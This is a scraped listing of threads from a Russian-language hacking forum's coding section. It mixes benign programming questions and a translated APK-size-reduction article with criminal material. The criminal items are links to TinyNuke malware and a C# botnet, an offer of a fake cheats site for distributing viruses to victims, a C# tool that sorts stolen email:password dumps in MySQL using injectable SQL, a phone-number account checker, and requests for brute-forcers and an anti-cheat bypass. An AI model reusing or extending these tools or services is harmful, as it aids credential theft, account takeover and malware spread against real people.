подскажите что не так,сори если что-то не так написал ,я новичек) вот исходники этого малваря https://github.com/rossja/TinyNuke

Я прошу разработчика Android
ID: 6765d804b4103b69df375ae7
Thread ID: 30594
Created: 2019-07-24T01:23:07+0000
Last Post: 2019-09-07T20:19:26+0000
Author: ceancorp
Replies: 1 Views: 2K

I need android developer for project, good budget !!!

Jabber: Succubu@exploit.im

telegram: ceancorp

Shutdown Dialog Windows 10 [C# SRC]
ID: 6765d804b4103b69df375ae8
Thread ID: 31555
Created: 2019-09-05T14:08:53+0000
Last Post: 2019-09-05T14:08:53+0000
Author: Fireman112
Replies: 0 Views: 2K

Привет Всем!
Поделюсь с вами две исходник который кому то может понадобится.

**

  1. Classic Shutdown Dialog Windows 10

PIC2019711452139457.jpg**

**2) Shutdown XE

PIC2019711121119362.jpg

СКАЧАТЬ / DOWNLOAD**

You must have at least 5 reaction(s) to view the content.

Developer C++/ Разработчик C ++
ID: 6765d804b4103b69df375aeb
Thread ID: 31285
Created: 2019-08-23T17:05:21+0000
Last Post: 2019-08-23T17:05:21+0000
Author: ceancorp
Replies: 0 Views: 2K

Поиск разработчика в C ++ - это простой, легкий и быстрый проект

Searching for a developer in C ++ is a simple project, easy and fast money

Бот для автоматизированных ставок
ID: 6765d804b4103b69df375aec
Thread ID: 30404
Created: 2019-07-13T19:43:16+0000
Last Post: 2019-08-23T13:56:17+0000
Author: wishme
Replies: 1 Views: 2K

Требуется бот для автоматизированных ставок у брокера бинарных опционов.
Задачи бота:

  1. Отслеживание графика валютной пары на мт5
  2. Выставление ставки у брокера бинарных опционов после скачка на определённое количество пунктов вверх/вниз

Бот должен состоять из серверной части и исполняемого файла в формате js скрипта.
В серверной части необходима функция внесения ip адреса для работы js скрипта (при изменении ip скрипт перестаёт работать)

Необходимые настройки js скрипта через всплывающую панель:

  1. Временной интервал анализа графика в минутах.
  2. Сумма ставки
  3. Величина скачка при которой бот делает ставку.
  4. Автоматический анализ графика (вкл/выкл) При автоматическом анализе графика величина скачка установленная в пункте "3" не учитывается.
    4.1) Динамический коэффициент ( число X в десятичном формате на которое умножается максимальный скачок из прошедших на графике для определения величины нового скачка при котором будет сделана ставка) для ставок при автоматическом анализе графика.
  5. Сумма убытков за сессию при которой бот перестаёт делать ставки

После ввода этих данных в консоли должно отображаться следующее:

  1. Валютная пара.
  2. Временной интервал
  3. При автоматизированном анализе графика- динамический коэффициент и выбранный скачок для ставки, при отключенном анализе- величина скачка.
  4. Профит за сессию
  5. Количество ставок за сессию.

Также при ставке вверх/вниз бот должен прекращать делать ставки до завершения прошлой. (при ставке в консоли появляется надпись : ставка вверх/вниз).

Простой ботнет на C#, управляемый через Telegraph
ID: 6765d804b4103b69df375aed
Thread ID: 31187
Created: 2019-08-19T22:05:41+0000
Last Post: 2019-08-19T22:05:41+0000
Author: tabac
Prefix: Видео
Replies: 0 Views: 2K

исходники:

github.com

[ GitHub - Egolds/botnet_telegraph_csharp: Ботнет на c# управляемый через

Telegraph ](https://github.com/Egolds/botnet_telegraph_csharp)

Ботнет на c# управляемый через Telegraph. Contribute to Egolds/botnet_telegraph_csharp development by creating an account on GitHub.

github.com github.com

Уменьшение размера файлов Android APK на 99,9%
ID: 6765d804b4103b69df375aee
Thread ID: 31128
Created: 2019-08-16T16:07:33+0000
Last Post: 2019-08-16T16:07:33+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

В гольфе выигрывает тот, у кого меньше очков.

Применим этот принцип в Android. Мы собираемся поиграть в APK-гольф и создать приложение минимально возможного размера, которое можно установить на Android 8.0 Oreo.

Базовый уровень

Начнём с дефолтного приложения, который генерирует Android Studio. [Создадим хранилище ключей](https://developer.android.com/studio/publish/app- signing.html#generate-key), подпишем приложение и измерим размер файла в байтах командой stat -f%z $filename.

Затем установим APK на смартфон Nexus 5x под Oreo, чтобы убедиться, что всё работает.

Прекрасно. Наш APK весит примерно полтора мегабайта.

APK Analyser

Полтора мегабайта кажутся слишком большим размером с учётом того, что делает наше приложение (а оно ничего не делает), так что давайте изучим проект и поищем, где по-быстрому сэкономить на объёме. Вот что сгенерировал Android Studio:

  • MainActivity, который расширяет AppCompatActivity.
  • Файл макета с ConstraintLayout для главного окна.
  • Файлы ресурсов с тремя цветами, одним строковым ресурсом и темой.
  • Библиотеки поддержки AppCompat и ConstraintLayout.
  • Один AndroidManifest.xml.
  • Файлы PNG для квадратной, круглой и фоновой иконок.

Пожалуй, проще всего разобраться с иконками, учитывая, что там в общей сложности 15 изображений и два XML-файла под mipmap-anydpi-v26. Давайте посчитаем всё это в APK Analyser из Android Studio.

Вопреки нашим первоначальным предположениям, похоже, что самый большой файл — Dex, а на ресурсы приходится всего 20% от размера APK.

Файл| Размер
---|---
classes.dex| 74%
res| 20%
resources.arsc| 4%
META-INF| 2%
AndroidManifest.xml| <1%

Исследуем по отдельности, что делает каждый файл.

Файл Dex

classes.dex — главный виновник раздутого APK, он занимает 73% всего объёма и поэтому станет первой целью оптимизации. Этот файл содержит весь наш скомпилированный код в формате Dex, а также список внешних методов во фреймворке Android и библиотеку поддержки.

В пакете android.support перечисляется более 13 000 методов, что кажется излишним для приложения типа "Hello World".

Ресурсы

В директории res находится большое количество файлов шаблонов, чертежей (drawables) и анимаций, которые сразу не видны в интерфейсе Android Studio. Опять же, они вытянуты из библиотеки поддержки и занимают около 20% размера APK.

Файл resources.arsc также содержит список всех этих ресурсов.

Подпись

В папке META-INF находятся файлы CERT.SF, MANIFEST.MF и CERT.RSA, которые нужны для подписи v1 APK. Если злоумышленник изменит код внутри APK, то подписи не совпадут, что защищает пользователя от запуска постороннего зловреда.

В MANIFEST.MF перечисляются файлы из APK, а CERT.SF содержит контрольные суммы манифеста и каждого отдельного файла. В CERT.RSA хранится открытый ключ, которым проверяется цельность CERT.SF.

Здесь нет очевидных целей для оптимизации.

AndroidManifest

AndroidManifest очень похож на наш оригинальный файл. Единственное отличие — вместо ресурсов вроде строк и drawables здесь указаны их целочисленные идентификаторы, начиная с 0x7F.

Включаем минификацию

Мы ещё не пробовали включить опцию минификации и сжатия ресурсов в файле build.gradle для нашего приложения. Сделаем это.

Code:Copy to clipboard

android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles getDefaultProguardFile(
              'proguard-android.txt'), 'proguard-rules.pro'
        }
    }
}

Code:Copy to clipboard

-keep class com.fractalwrench.** { *; }

Если установить minifyEnabled в значение true, то активируется Proguard, который очищает приложение от ненужного кода. А также обфусцирует имена символов, затрудняя обратную разработку приложения.

shrinkResources удалит из APK любые ресурсы, на которые нет прямой ссылки. Могут возникнуть проблемы, если вы получаете доступ к ресурсам не напрямую, но к нашему приложению это не относится.

786 КБ (уменьшение на 50%)

Мы наполовину уменьшили размер APK без видимого изменения в работе программы.

Если вы ещё не включили minifyEnabled и shrinkResources в своём приложении, это самая главная вещь, которую следует вынести из этой статьи. Можно легко сэкономить несколько мегабайт, потратив всего парочку часов на конфигурацию и тестирование.

Прощай, AppCompat, мы едва тебя узнали

classes.dex теперь занимает 57% всего APK. Основная часть списка методов из файла Dex принадлежит пакету android.support, так что мы собираемся удалить библиотеку поддержки. Для этого нужно сделать следующее:

  • Полностью удалить блок зависимостей из build.gradle.

Code:Copy to clipboard

    dependencies {
implementation 'com.android.support:appcompat-v7:26.1.0'
implementation 'com.android.support.constraint:constraint-layout:1.0.2'
}
  • Обновить MainActivity для расширения класса android.app.Activity.

Code:Copy to clipboard

    public class MainActivity extends Activity
  • Обновить наш шаблон для использования единого TextView.

Code:Copy to clipboard

    <?xml version="1.0" encoding="utf-8"?>
<TextView xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
    android:text="Hello World!" />
  • Удалить styles.xml и аттрибут android:theme из элемента в AndroidManifest.
  • Удалить colors.xml.
  • Сделать 50 отжиманий, пока Gradle синхронизируется.

108 КБ (уменьшение на 87%)

Матерь божья, файл уменьшился почти в десять раз: с 786 КБ до 108 КБ. Единственным заметным изменением стало только изменение цвета тулбара, который окрасился в дефолтную тему ОС.

На директорию res теперь приходится 95% размера APK из-за всех этих иконок лаунчера. Если бы эти иконки делал наш дизайнер, мы бы попытались [конвертировать их в WebP](https://developer.android.com/studio/write/convert- webp.html), более эффективный формат, который поддерживается в API 15 и более поздних версиях.

К счастью, Google уже оптимизировала наши drawables, хотя в противном случае мы бы и сами могли оптимизировать их и удалить из PNG ненужные метаданные с помощью ImageOptim.

Давайте поступим нешаблонно — и заменим все наши иконки запуска единственной однопиксельной чёрной точкой в папке res/drawable. Эта картинка весит 67 байт.

6808 байт (уменьшение на 94%)

Мы избавились почти от всех ресурсов, так что неудивительно, что размер APK уменьшился примерно на 95%. В файле resources.arsc по-прежнему упоминаются следующие ресурсы:

  • 1 файл шаблона
  • 1 строковый ресурс
  • 1 иконка лаунчера

Пойдём сверху вниз.

Файл шаблона (6262 байта, сокращение на 9%)

Фреймворк Android раздувает наш файл XML и автоматически создаёт объект TextView, который используется как contentView для Activity.

Попробуем обойтись без этого посредника, удалив файл XML и программно задав contentView. Объём ресурсов уменьшится, потому что исчезнет файл XML, но увеличится размер файла Dex, поскольку мы упоминаем там дополнительные методы TextView.

Code:Copy to clipboard

TextView textView = new TextView(this);
textView.setText("Hello World!");
setContentView(textView);

Выглядит как неплохой обмен.

Имя приложения (6034 байта, сокращение на 4%)

Давайте удалим strings.xml и заменим android:label в манифесте AndroidManifest буквой "A". Это кажется маленьким изменением, но удаление записи из resources.arsc уменьшает количество символов в манифесте и удаляет файл из директории res. Каждая мелочь идёт на пользу — мы только что сэкономили 228 байт.

Иконка лаунчера (5300 байт, сокращение на 13%)

[Документация для resources.arsc](https://android.googlesource.com/platform/frameworks/native/+/jb- dev/libs/utils/README) в репозитории Android Platform объясняет, что каждый ресурс APK упоминается в resources.arsc с целочисленным идентификатором. У этих ID два пространства имён:

_0x01: системные ресурсы (предустановленные в framework-res.apk)

0x7f: ресурсы приложения (в файле .apk приложения)_

Click to expand...

Так что произойдёт с нашим APK, если мы поставил ссылку на ресурс в пространстве имён 0x01? По идее, мы получим более красивую иконку и одновременно уменьшим размер своего файла.

Code:Copy to clipboard

android:icon="@android:drawable/btn_star"

Само собой, вам никогда не следует доверять системным ресурсам вроде иконок в реальном рабочем приложении. Такой метод провалит валидацию в Google Play, а некоторые производители ещё и по-своему определяют белый цвет, так что действуйте осторожно.

Манифест (5252 байта, сокращение на 1%)

Мы ещё не трогали манифест.

Code:Copy to clipboard

android:allowBackup="true"
android:supportsRtl="true"

Удаление этих аттрибутов экономит 48 байт.

Хак Proguard (4984 байта, сокращение на 5%)

Похоже, что классы BuildConfig и R ещё остались в файле Dex.

Code:Copy to clipboard

-keep class com.fractalwrench.MainActivity { *; }

Уточнение правила Proguard удалит ненужные классы.

Обфускация (4936 байт, сокращение на 1%)

Обфусцируем имя для класса Activity. Для обычных классов Proguard автоматически делает это, но поскольку имя класса Activity вызывается через Intents, его не обфусцировали по умолчанию.

_MainActivity - > c.java

com.fractalwrench.apkgolf -> c.c_

Click to expand...

META-INF (3307 байт, сокращение на 33%)

В данный момент мы подписываем приложение одновременно подписями v1 и v2. Это кажется лишней тратой ресурсов, потому что v2 обеспечивает [превосходную защиту и производительность](https://source.android.com/security/apksigning/#apk- signing-schemes), хешируя весь APK целиком.

Подпись v2 не видна из APK Analyser, поскольку включена в бинарный блок в самом файле APK. Подпись v1 видна, в виде файлов CERT.RSA и CERT.SF.

Давайте уберём галочку для подписи v1 в интерфейсе Android Studio и сгенерируем подписанный APK. Попробуем сделать и наоборот.

Подпись| Размер
---|---
v1| 3511
v2| 3307

Похоже, теперь мы будем использовать v2.

Куда мы идём — там не нужны IDE

Пришло время редактировать APK вручную. Используем следующие команды:

Code:Copy to clipboard

# 1. Создать неподписанный apk
./gradlew assembleRelease

# 2. Разархивировать архив
unzip app-release-unsigned.apk -d app

# Сделать необходимые правки

# 3. Заархивировать архив
zip -r app app.zip

# 4. Запустить zipalign
zipalign -v -p 4 app-release-unsigned.apk app-release-aligned.apk

# 5. Запустить apksigner с подписью v2
apksigner sign --v1-signing-enabled false --ks $HOME/fake.jks --out signed-release.apk app-release-unsigned.apk

# 6. Проверить подпись
apksigner verify signed-release.apk

Детальный обзор процесса подписи APK см. [здесь](https://developer.android.com/studio/publish/app-signing.html#sign- manually). В общем, Gradle генерирует неподписанный архив, zipalign делает выравнивание по границе байта для несжатых ресурсов, чтобы оптимизировать потребление RAM после загрузки APK, и в конце запускается криптографическая процедура подписи APK.

Неподписанный и невыровненный APK весит 1902 байт, то есть процедура добавляет примерно 1 килобайт.

Несоответствие размеров файлов (2608 байт, сжатие на 21%)

Странно! Если разархивировать невыровненный APK и подписать его вручную, то пропадает файл META-INF/MANIFEST.MF, что экономит 543 байта. Если кто-то знает, почему так происходит, то дайте знать!

Теперь у нас в подписанном APK осталось три файла. Но ведь мы можем ещё избавиться от файла resources.arsc, потому что не устанавливаем никаких ресурсов!

После этого остаётся только манифест и файл classes.dex, оба примерно одинакового размера.

Хаки со сжатием (2599 байт, сокращение на 0,5%)

Теперь изменим все оставшиеся строки на ‘c’, обновив версии до 26, а затем сгенерируем подписанный APK.

Code:Copy to clipboard

compileSdkVersion 26
    buildToolsVersion "26.0.1"
    defaultConfig {
        applicationId "c.c"
        minSdkVersion 26
        targetSdkVersion 26
        versionCode 26
        versionName "26"
    }

Code:Copy to clipboard

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="c.c">

    <application
        android:icon="@android:drawable/btn_star"
android:label="c"
        >
        <activity android:name="c.c.c">

Это уменьшает размер ещё на 9 байт.

Хотя количество символов в файле не изменилось, но дело в том, что увеличилась частотность символа ‘c’. В результате алгоритм сжатия сработал более эффективно.

Привет, ADB (2462 байт, сокращение на 5%)

Можно ещё сильнее оптимизировать манифест, удалив фильтр намерения Launch для класса Activity. С этого момента будем запускать приложение следующей командой:

Code:Copy to clipboard

adb shell am start -a android.intent.action.MAIN -n c.c/.c

Вот новый манифест:

Code:Copy to clipboard

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="c.c">

    <application>
        <activity
            android:name="c"
            android:exported="true" />
    </application>
</manifest>

Мы также избавились от иконки лаунчера.

Очистка от ссылок на методы (2179 байт, сокращение на 12%)

По изначальным условиям, мы должны подготовить APK, который способен установиться на устройство.

Наше приложение перечисляет методы в классах TextView, Bundle и Activity. Можно уменьшить размер файла Dex, удалив эти ссылки и заменив их новым классом Application. Таким образом, файл Dex теперь будет ссылаться на единственный метод — конструктор класса Application.

Исходные файлы теперь выглядят следующим образом:

Code:Copy to clipboard

package c.c;
import android.app.Application;
public class c extends Application {}

Code:Copy to clipboard

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="c.c">
    <application android:name=".c" />
</manifest>

Используем adb для проверки, что APK успешно установился, это можно также проверить через «Настройки».

Оптимизация Dex (1961 байт, сокращение на 10%)

Я потратил несколько часов, изучая формат файла Dex ради этой оптимизации, поскольку разные механизмы вроде контрольных сумм и смещений затрудняют ручное редактирование.

Если вкратце, в итоге выяснилось, что единственным требованием для установки APK является факт существования файла classes.dex. Поэтому мы просто удалим оригинальный файл, запустим touch classes.dex в консоли и сэкономим 10% от размера, используя пустой файл.

Иногда глупейшее решение — самое лучшее.

Понимание манифеста (1961 байт, сокращение на 0%)

Манифест неподписанного APK — это файл в бинарном формате XML, который вроде бы официально не документирован. Можно изменить содержимое файла с помощью редактора HexFiend.

В заголовке файла угадываются некоторые интересные элементы — первые четыре байта кодируют 38, что совпадает с номером версии файла Dex. Следующие два байта кодируют 660, что совпадает с размером файла.

Попробуем удалить один байт, установив targetSdkVersion на 1, и изменив размер файла в заголовке на 659. К сожалению, система Android отвергает новый файл как неправильный APK. Похоже, тут всё устроено как-то посложнее…

Непонимание манифеста (1777 байт, сокращение на 9%)

А попробуем набросать случайных символов по всему файлу, а затем установить APK, не изменяя указанный размер файла. Так мы проверим, осуществляется ли проверка контрольной суммы, и как наши изменения повлияют на смещения в заголовке файла.

Удивительно, но такой манифест воспринят как валидный APK на Nexus 5X под Oreo:

Мне кажется, я только что услышал, как разработчик фреймворка Android, ответственный за поддержку BinaryXMLParser.java, очень громко закричал в подушку.

Для максимальной выгоды нужно заменить все эти глупые символы нулевыми байтами. Это поможет распознать важные части файла в HexFiend, а также сократит несколько байт благодаря хаку сжатия, упомянутому выше.

Манифест UTF-8

Вот важные компоненты Manifest, без которых APK не установится.

Некоторые вещи очевидны, такие как теги манифеста и пакета. В пуле строк видны versionCode и название пакета.

Шестнадцатиричный манифест

Просмотр файла в шестнадцатиричном виде показывает значения в заголовке файла, которые описывают пул строк и другие значения, вроде размера файла 0x9402. Строки тоже интересно закодированы — если они больше 8 байт, то общая длина указывается в двух предыдущих байтах.

Но вряд ли здесь можно найти другие варианты для оптимизации.

Готово? (1757 байт, сокращение 1%)

Изучим окончательный APK.

В течение всего этого имени в APK было указано моё имя в подписи v2. Создадим новое хранилище ключей, в котором используется хак для сжатия.

Мы сэкономили 20 байт.

Шаг 5: Признание

1757 байт — это очень мало, чёрт возьми. И насколько я знаю, это самый маленький существующий APK.

Однако я разумно полагаю, что кто-нибудь из Android-сообщества способен выполнить дальнейшие оптимизации и ещё улучшить результат. Если вы умудритесь уменьшить файл с нынешних 1757 байт, присылайте пулл-реквест в репозиторий, где хостится самый маленький APK, или сообщайте в твиттере. (С момента публикации статьи файл уже уменьшили до 820 байт — прим. пер.)

Автор оригинала: [ Jamie Lynch](https://fractalwrench.co.uk/posts/playing-apk- golf-how-low-can-an-android-app-go/)
2017 год

C# Antipublic (AP) byGuron
ID: 6765d804b4103b69df375af2
Thread ID: 30794
Created: 2019-08-02T02:51:58+0000
Last Post: 2019-08-02T02:51:58+0000
Author: Guron_18
Replies: 0 Views: 2K

Доброго времени суток. Сегодня мы напишем локальный антипаблик почт\url да чего угодно.
Работать мы будем с mysql добавлять\проверять есть ли почта в АП.

Для начала создадим в mysql базу и таблицы.
https://pastebin.com/uzmk4THU (на пастебине ибо на форуме нельзя создать тему с таким кодом)

Дальше по коду все просто

Spoiler

C#:Copy to clipboard

using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using MySql.Data.MySqlClient; //библа для работы с mysql сервером

namespace AntiPublic
{
    internal class Program
    {
        private static string FNAME = string.Empty;

        [STAThread]
        private static void Main()
        {
            Console.Title = "AntiPublic (mp) byGuron";
            LoadBase(); //загрузка базы
            Sqlconn(); //функция проверки
        }

        private static void LoadBase()
        {
            var ofd = new OpenFileDialog {Filter = "All text|*.txt;*.csv;*.dic;*.log|All files|*.*" };

            if (ofd.ShowDialog() != DialogResult.OK) Environment.Exit(0); //если база не загружена пишем это и выходим с проги.
            FNAME = ofd.FileName;
        }

        private static void Sqlconn()
        {
            const string config = "server=localhost;user=root;password=123456;persistsecurityinfo=True;"; //данные для подключения к БД

            using (var con = new MySqlConnection(config))
            {
                con.Open(); // Открываем плдключение 1 раз

                var startDate = DateTime.Now;
                Console.WriteLine("Arbaiten...");

                using (var sw1 = new StreamWriter("Gur_ap_private.txt", true, Encoding.UTF8))
                using (var sw2 = new StreamWriter("Gur_ap_public.txt", true, Encoding.UTF8))
                using (var sw3 = new StreamWriter("Gur_ap_error.txt", true, Encoding.UTF8))
                //{
                    foreach (var str in File.ReadLines(FNAME)) //перечисляем строки
                    {
                        if (string.IsNullOrEmpty(str)) continue; //если стога пуста то проверяем следующую

                        var ch = str[0].ToString(); //це що бы разбивать бД на несколько таблиц. (потому как искать в 1 ляме проще чем в допустим 30лямах )
                        switch (ch)
                        {
                            case "1":
                            case "2":
                            case "3":
                            case "4":
                            case "5":
                            case "6":
                            case "7":
                            case "8":
                            case "9":
                            case "0":
                            case ".":
                            case "_":
                            case "-":
                                ch = "UnderDashDot09";
                                break;
                        }

                        var acc = str.Split(':', ';'); // оиделяем email от пароля
                        if (acc.Length != 2) // если это не email:pass то пшем в error
                        {
                            sw3.WriteLine(str);
                            continue;
                        }

                        var sql = $"INSERT INTO AntiMail.{ch} (mail, pass) VALUES ('{acc[0].ToLower()}', '{acc[1]}')"; //делаем запрос в БД
                        var comm = new MySqlCommand(sql, con);

                        try
                        {
                            comm.ExecuteNonQuery();
                            sw1.WriteLine(str);
                        }
                        catch (Exception e)
                        {
                            if (e.Message.Contains("Duplicate entry"))
                                sw2.WriteLine(str); //если строка присутствует то пишем в public
                            else
                                sw3.WriteLine(str); //иначе в private
                        }
                    }
                }

                Console.WriteLine(DateTime.Now - startDate);
                con.Close(); //по окончпании чека закрываем подключение
                Console.WriteLine("Готово!");
                Console.Read();
            }
        }
    }
}

Результат работы: 100к прочекало за 15сек.

Ну и конечно же сам готовый АП. (запускаем сервер через start.bat либо устанавливаем свой denver, xampp)

You must have at least 5 reaction(s) to view the content.

Webbrowser не хочет Navigate()
ID: 6765d804b4103b69df375af4
Thread ID: 30396
Created: 2019-07-13T13:53:34+0000
Last Post: 2019-07-16T21:25:32+0000
Author: ZiGO_356
Replies: 1 Views: 2K

Есть такой код:

C#:Copy to clipboard

using (var browser = new WebBrowser())
{
    //browser.ScriptErrorsSuppressed = true;
    browser.Navigate("https://vk.com/login");

    browser.DocumentCompleted += delegate // - не вызывается, ReadyState всегда Uninitialized
    {
        // обработка страницы
    }
};

но при этом document = null, DocumentCompleted никогда не вызывается, а при отладке видно, что ReadyState у браузера всегда Uninitialized. Что я делаю не так? ._.

Динамический импорт HeapAlloc
ID: 6765d804b4103b69df375af5
Thread ID: 30408
Created: 2019-07-13T21:36:03+0000
Last Post: 2019-07-14T08:23:25+0000
Author: Marginal
Replies: 2 Views: 2K

Привет всем. Вообщем то есть у меня функция, которая выглядит примерно так :

C:Copy to clipboard

LPVOID xGetProcAddress(HMODULE hModule, DWORD dwHash)

Она проверена на работоспособность, всё отлично. Загружаю ей множество функций из разных дллок - всё прекрасно работает.

Появилась нужда загрузить HeapAlloc из kernel32.dll, я получаю через PEB HMODULE kernel32, пытаюсь загрузить функцию - она не находится. Если юзаю дефолтный гет проц адресс - всё работает. Повторюсь, с другими функциями из Kernel32 - мой getprocaddress ладит. Надеюсь на вашу помощь, работа заступорилась.

Написание сложного B/C проекта
ID: 6765d804b4103b69df375af6
Thread ID: 30406
Created: 2019-07-13T20:07:24+0000
Last Post: 2019-07-13T20:07:24+0000
Author: SameDreams
Replies: 0 Views: 2K

Интересует написание сложного Brute and Checker по ios/android API с высокими требованиями, тз можно получить в личку в тг @FastSave, работа с гарантом приветствуется.
Софт нужно будет переодически поддерживать, условия оговариваются.

Система языков С#
ID: 6765d804b4103b69df375af7
Thread ID: 30394
Created: 2019-07-13T12:43:24+0000
Last Post: 2019-07-13T18:44:29+0000
Author: Xlaet
Replies: 2 Views: 2K

Добрый день юзеры! Как сделать систему языков в forms1, чтобы можно менять языки пример с Русс на Англ! ( Переключатель так сказать! )

Пример на фото:

Сайт под установку вашего файла!
ID: 6765d804b4103b69df375afa
Thread ID: 30160
Created: 2019-07-04T11:17:30+0000
Last Post: 2019-07-04T11:17:30+0000
Author: siteq1w8
Replies: 0 Views: 2K

Продам и полностью настрою скрипт сайта с читами!

Настрою скрипт под вас, сайт отлично подойдет под распространение вашего вируса.
Цена: 500 рублей за эту цены вы получите - Мою поддержку и помощь в настройке, расскажу какой лучше взять хост, бесплатный SSL что даст жертве больше уверенности в сайте.
Для связи со мной: https://t.me/siteq1w8
Демка: http://ck26911.tmweb.ru/

Нужна помощь в API OK | c#
ID: 6765d804b4103b69df375afd
Thread ID: 27222
Created: 2019-01-10T14:47:43+0000
Last Post: 2019-06-19T10:03:59+0000
Author: DeiTy
Replies: 2 Views: 2K

You must have at least 1 reaction(s) to view the content.

c# beeline number validator
ID: 6765d804b4103b69df375afe
Thread ID: 29785
Created: 2019-06-14T04:15:17+0000
Last Post: 2019-06-14T04:15:17+0000
Author: Guron_18
Replies: 0 Views: 2K

Статья опубликована в ознакомительных целях. Автор не несет ответственности за любой возможный вред, причиненный материалами данной статьи.

Click to expand...

Доброго времени суток. Сегодня мы напишем простенький чекер\валидатор телефонных номеров на мобильный оператор beeline.ru (он же ПЧЕЛАйн).

Для начала нам нужно подключить библиотеку для работы с интернетом.

C#:Copy to clipboard

using System.Net;

Далее объявить пару переменных.

C#:Copy to clipboard

string telCode = "905"; //код оператора
string telNum = "2006735"; //взял рандомный телефон с гугла (ничего личного)
string result; //переменная для результата

К слову коды оператора можно взять на офф сайте или https://codificator.ru/code/mobile/beeline.html
Но, что бы вы не парились вот вам сразу список.

900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986

Click to expand...

Формируем запрос из всего вышеперечисленного

You must have at least 5 reaction(s) to view the content.

Теперь все готово. Можно слать запрос.

C#:Copy to clipboard

while (true) //Запускаем цикл он будет работать пока не получит точного ответа
{
    try
    {
        result = new WebClient().DownloadString(stringBuild); //сам запрос
        break; //все нормально, ответ получен, выход из цикла
    }
    catch { /* Если нет соединения или любая другая ошибка то повторяем пока сервер не ответит нормально*/ }
}

Осталось обработать результат и выдать наконец-то валидный номер или нет.

C#:Copy to clipboard

if (result.Contains("firstTimeLogin\":true"))
    Console.WriteLine($"Good: +7{telCode}{telNum}");
else
    Console.WriteLine($"Bad: +7{telCode}{telNum}");

Ну вот и все. Всем спасибо. Не злоупотребляйте, а разработчики будьте бдительны и не принебрегайте элементарными средствами защиты в данном случае хотя бы капчей.

Полный код:

You must have at least 5 reaction(s) to view the content.

Автор: byGuron. Специально для xss.is.

Ищу кодера для чита кс 1.6 обход маяка 1.7.2
ID: 6765d804b4103b69df375b00
Thread ID: 28776
Created: 2019-04-13T16:18:29+0000
Last Post: 2019-06-08T23:20:35+0000
Author: player2k19
Replies: 1 Views: 2K

Ищу кодера для чита кс 1.6 обход маяка 1.7.2

Base64
ID: 6765d804b4103b69df375b01
Thread ID: 29628
Created: 2019-06-03T12:39:24+0000
Last Post: 2019-06-08T23:19:59+0000
Author: ExitCode
Replies: 2 Views: 2K

Имеется следующий код :

C:Copy to clipboard

LPWSTR Base64Encode(LPWSTR lpString)
{
    DWORD dwLengthNeeded = 0;
    if (CryptBinaryToStringW((BYTE*)lpString, sizeof(lpString), CRYPT_STRING_BASE64, NULL, &dwLengthNeeded))
    {
        LPWSTR lpEncString = (LPWSTR)LocalAlloc(0, sizeof(WCHAR) * (dwLengthNeeded + 1));
        if (CryptBinaryToStringW((BYTE*)lpString, sizeof(lpString), CRYPT_STRING_BASE64, lpEncString, &dwLengthNeeded))
        {  
            return lpEncString;
        }
    }
    return NULL;
}

Но он возвращает некорректный результат. С анси функциями все в порядке, с их юникод аналогами - лажа. Подскажите пожалуйста, в чём моя ошибка.

Нужно написать приложение срочно!!!
ID: 6765d804b4103b69df375b03
Thread ID: 28903
Created: 2019-04-20T15:42:16+0000
Last Post: 2019-04-22T16:43:35+0000
Author: roy-
Replies: 1 Views: 2K

Нужно создать приложение на андроид
P.S тема диплом Университет
По остальным вопросам оплаты и остального в лс срочно!!!!!!

Оптимизация софта на Си
ID: 6765d804b4103b69df375b07
Thread ID: 28706
Created: 2019-04-10T21:31:45+0000
Last Post: 2019-04-11T18:44:36+0000
Author: LoveNikki
Replies: 2 Views: 2K

Ходят слухи что если в:
C/C++ -> Оптимизация
включить оптимизацию, к примеру краткость кода, то будет зависимость от CRT, это так?
пишу софт просто, весит 5кб, с сжатием таким весит 4кб, саблазн велик.

Кто шарит в c# botnet
ID: 6765d804b4103b69df375b08
Thread ID: 28662
Created: 2019-04-08T20:55:31+0000
Last Post: 2019-04-08T20:59:01+0000
Author: ColorS
Replies: 2 Views: 2K

приветствую, нашел ботнет на c#(очень простой), декомпилировал его dnspy, ну тут проблема в коде декомпилятор при восстановлении
допустил ошибки, в с# только основы знаю. Моя просьба достаточно конченная, кто сможет поправить все3169

Трансформация из .exe в .dll в рантайме.
ID: 6765d804b4103b69df375b0c
Thread ID: 28096
Created: 2019-03-01T18:54:39+0000
Last Post: 2019-03-01T21:40:14+0000
Author: iceberg
Replies: 4 Views: 2K

Привет всем. Подкиньте пожалуйста сорец трансформации из .exe в .dll в рантайме. Спасибо.

SQL INFO
ID: 6765d804b4103b69df375b0f
Thread ID: 27945
Created: 2019-02-18T16:06:53+0000
Last Post: 2019-02-18T16:06:53+0000
Author: Guron_18
Replies: 0 Views: 2K

SQL info byGuron - Тулза сканирует директорию на .sql файлы и ищет в них информацию о БД и колонках.

AllDir - поиск в подпапках.
Detail - подробный вывод результатов.

Софт+ сорцы

Hidden content for authorized users.

yadi.sk

SQL_info.rar

View and download from Yandex.Disk

yadi.sk yadi.sk

Создайте скрипт на языке C++
ID: 6765d804b4103b69df375b10
Thread ID: 27852
Created: 2019-02-13T20:14:19+0000
Last Post: 2019-02-14T11:41:35+0000
Author: youios
Replies: 2 Views: 2K

Помогите с задачей:
написать консольное приложение на языке C++
функции :
вычислять айпи буквенное* (пример: primer.com )сервера в цифровое (пример: 123.123.123)

CryptoAPI / генерация пары RSA ключей.
ID: 6765d804b4103b69df375b13
Thread ID: 27628
Created: 2019-02-03T15:19:02+0000
Last Post: 2019-02-03T18:43:51+0000
Author: iceberg
Replies: 4 Views: 2K

Всем привет. Имею следующий код :

Spoiler: Код

#include <Windows.h>

HCRYPTPROV hProv;
HCRYPTKEY hKey;

bool InitRSA()
{
if (!CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
if (GetLastError() == NTE_BAD_KEYSET)
{
return CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W, PROV_RSA_FULL, CRYPT_NEWKEYSET);
}
return false;
}
return true;
}

void Entry()
{
